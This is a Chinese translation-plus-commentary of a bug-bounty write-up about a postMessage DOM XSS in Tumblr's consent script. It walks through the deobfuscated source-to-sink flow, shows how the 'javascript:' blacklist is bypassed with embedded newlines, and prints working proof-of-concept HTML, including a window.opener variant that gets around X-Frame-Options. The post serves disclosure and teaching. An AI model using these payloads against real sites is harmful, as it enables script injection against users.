原文地址如下:https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/
在19年我写了一篇文章,是基于postMessageXss漏洞的入门教学:https://www.cnblogs.com/piaomiaohongchen/p/14727871.html
这几天浏览mXss技术的时候,看到了一篇postMessaage的分析文章,觉得不错,遂翻译写成文章,每一次好的文章翻译,都是一次很好的学习的机会。生硬的translate,对技术提升没有任何帮助,这里我以第一视角代入翻译此篇文章,加入自己对漏洞的理解。
这篇文章的难点在于对source的构造。
正文内容如下:
在研究期间,我决定查看 tumblr.com 主页,计划是查看它是否处理任何 postMessages。我发现 cmpStub.min.js 文件中有一个有趣的函数,它不检查 postMessage 的来源。在模糊形式下,它如下所示:
var e = !1;
function t(e) {
var t = "string" == typeof e.data
, n = e.data;
if (t)
try {
n = JSON.parse(e.data)
} catch (e) {}
if (n && n.__cmpCall) {
var r = n.__cmpCall;
window.__cmp(r.command, r.parameter, function(n, o) {
var a = {
__cmpReturn: {
returnValue: n,
success: o,
callId: r.callId
}
};
e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
})
}
}
为了方便理解,把代码丢入webstorm,webstorm会有高亮提醒:
通过我的截图标记,我们知道这是个套娃行为,他的可控source点的套娃行为如下:
e.data <- n <- n.__cmpCall <- r <- r.command && r.parameter
如果要本地模式这种套娃行为,那么这种source套娃模拟就是如下:
data= '{"name":"admin","list":{"test1":"test12","test2":"test2"},"age":16}'
// data='123'
var n = JSON.parse(data);
console.log(n.list.test1)
两个逻辑处理分支:
(1)n = JSON.parse(e.data)
(2)window.__cmp(.,.,.xxx
第一个是使用parse函数把我们监听接收的数据从JSON 字符串转换为 JavaScript 对象,说明我们传递的source是个json字符串
source套娃点,会传入__cmp(函数,跟进这个函数:
if (e)
return {
init: function(e) {
if (!l.a.isInitialized())
if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
p.uiUrl || p.organizationId)
if (c.a.isSafeUrl(p.uiUrl)) {
p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
g.setGdpr("S"),
g.setPublisherId(p.organizationId)),
(t = p.sharedConsentDomain) && r.a.init(t),
s.a.setCookieDomain(p.cookieDomain);
var n = s.a.getGdprApplies();
!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
n || (e = !0),
s.a.setIsUserInEU(e),
e ? (g.setGdpr("L"),
h(function(e) {
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
}, !0)) : l.a.initializationComplete()
})
} else
c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)
代码臭长臭长的,不要管,只要抓住重点
(1)在javascript中当出现n.x.y或者n.x.y.z说明是套娃+套娃,跟紧咬死source点
(2)寻找潜在风险函数
发现有个if逻辑判断,如果不为真,就else输出报错,那么这里要想办法让条件为真,跟进isSafeUrl函数:
isSafeUrl: function(e) {
return -1 === (e = (e || "").replace(" ",
"")).toLowerCase().indexOf("javascript:")
}
正常我们写代码都是function isSafeUrl(x) 。这是两种不同的写法,效果类似,一种是对象方法定义,一种是直接函数说明。
这段逻辑代码很好理解:如果输入的字符串中不包含"javascript:",函数返回 true;如果包含,返回 false。
这里想返回真,那么我们就不能包含javascript:字符串,他这么做是为了防止xss攻击。做过一些代码审计的朋友应该都知道,使用包含这种黑名单的修复手法,是很危险的,是很容易被绕过的。
那么这里的包含,为后面的利用留下了伏笔。我们继续往下研究,假设我们不包含javascript:字符串,为真了,会触发下面的逻辑处理代码:
通过不断的debug进入逻辑处理函数,发现一个可疑逻辑处理函数
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
跟进b函数:
b = function(e) {
g.markConsentRenderStartTime();
var n = p.uiUrl ? i.a : a.a;
l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
p.consentString = t,
n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
}) : n.renderConsents(p, function(n, t) {
g.setType("C").setGdprConsent(n).fire(),
w(n),
"function" == typeof e && e(n, t)
})
在这里,将触发真正的sink点:n.renderConsents(p, function(n, t) {,跟进对应函数:
sink:
renderConsents: function(n, p) {
if ((t = n || {}).siteDomain = window.location.origin,
r = t.uiUrl) {
if (p && u.push(p),
!document.getElementById("cmp-container-id")) {
(i = document.createElement("div")).id = "cmp-container-id",
i.style.position = "fixed",
i.style.background = "rgba(0,0,0,.5)",
i.style.top = 0,
i.style.right = 0,
i.style.bottom = 0,
i.style.left = 0,
i.style.zIndex = 1e4,
document.body.appendChild(i),
(a = document.createElement("iframe")).style.position = "fixed",
a.src = r,
a.id = "cmp-ui-iframe",
a.width = 0,
a.height = 0,
a.style.display = "block",
a.style.border = 0,
i.style.zIndex = 10001,
l(),
(1)r = t.uiUrl 可控点
(2)a.src = r iframe src加载
通过阅读代码,很明显看出来这是个xss漏洞,我们可以本地模拟下这段攻击代码:
<script type="text/javascript">
a = document.createElement("iframe");
a.src="javascript:alert(1)"; //可控点
document.body.appendChild(a);
</script>
因为前面的isSafeUrl函数判断,不允许包含javascript:字符串,包含就会报错不走相关sink函数,那么这里就需要利用下js的小tricks:
a = document.createElement("iframe");
a.src="\tjava\nscr\nipt:alert(1)"; //可控点
document.body.appendChild(a);
再次刷新:
在js中,src属性支持换行符,制表符等无害脏数据。这样我们就绕过了这个黑名单过滤函数。
对于最后的sink点位,原作者画出如下图:
这里我们需要学习老外的学习思路,漏洞挖掘中可以多画一些脑图,方便你去理解代码和理解业务逻辑。
最终的构造poc如下:
<html><body>
<script>
window.setInterval(function(e) {
try {
window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>
难点在于source套娃,容易绕晕。构造的poc,是比较常规的写法。前面已经讲了这个套娃怎么玩了,详见JSON.parse的函数定义。
其实到这里,这篇翻译文章算结束了。下面是扩展项:
只要页面不包含 X-Frame-Options 标题,它就不需要任何额外的用户交互,访问恶意网站就足够了。如果应用程序实现 X-Frame-Options 标头,则此漏洞将不允许攻击者构建目标页面。整个攻击需要在两个浏览器选项卡之间创建连接,以便通过window.opener传递postMessages,这也非常简单:
X-Frame-Options 是什么?
X-Frame-Options 是一个 HTTP 响应头,用于防止点击劫持攻击(clickjacking)。它控制一个网页是否可以在 <iframe> 中被嵌套,增强了安全性。以下是它的主要选项和含义:
不允许任何网页在 <iframe> 中嵌套当前页面。
http
复制代码
X-Frame-Options: DENY
SAMEORIGIN:
只允许同源的网页在 <iframe> 中嵌套当前页面。也就是说,只有与当前页面相同源的网页可以嵌入。
http
复制代码
X-Frame-Options: SAMEORIGIN
因为postMessage xss漏洞需要加载当前网页地址,通过设置X-Frame-Options可以禁止嵌套网页:
那么对于这种情况,原文作者是如何绕过的?
<html><body>
<script>
function e() {
window.setTimeout(function() {
window.location.href="https://www.tumblr.com/embed/post/";
}, 500);
}
window.setInterval(function(e) {
try {
window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
} catch(e) {}
}, 100);
</script>
<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
这段代码绕过X-Frame-Options的核心概念如下:
攻击者需要在两个不同的浏览器选项卡之间建立连接。
这种连接允许攻击者在打开目标网站的选项卡中通过 window.opener 对象发送 postMessage 消息。
这种方式绕过了浏览器的安全策略,利用了在 window.opener 上发送消息的能力。
综上所述,理解这段话的关键点是:
如果没有正确配置 X-Frame-Options 标头的网页可能会受到攻击,因为其他网站可以在其页面中嵌入目标网页的iframe,从而执行潜在的恶意操作。
正确实现 X-Frame-Options 可以有效防止此类攻击。
攻击者利用两个浏览器选项卡之间的连接,通过 window.opener 发送 postMessage 消息,绕过浏览器的安全机制,执行攻击。
window.opener 将指向打开这个弹出窗口的主窗口
时间线:
07/10/2019 – 发现漏洞并同时向 Verizon Media 和 Tumblr 报告
07/10/2019 – 由 Tumblr 分类和修复
08/10/2019 – 由 Verizon Media 修复
09/10/2019 – Tumblr 奖励我 500 美元的赏金
26/10/2019 – Verizon Media 奖励我 500 美元的赏金
虽然这份报告只有500刀,但是个人学到了很多。好的文章超越了金钱本身。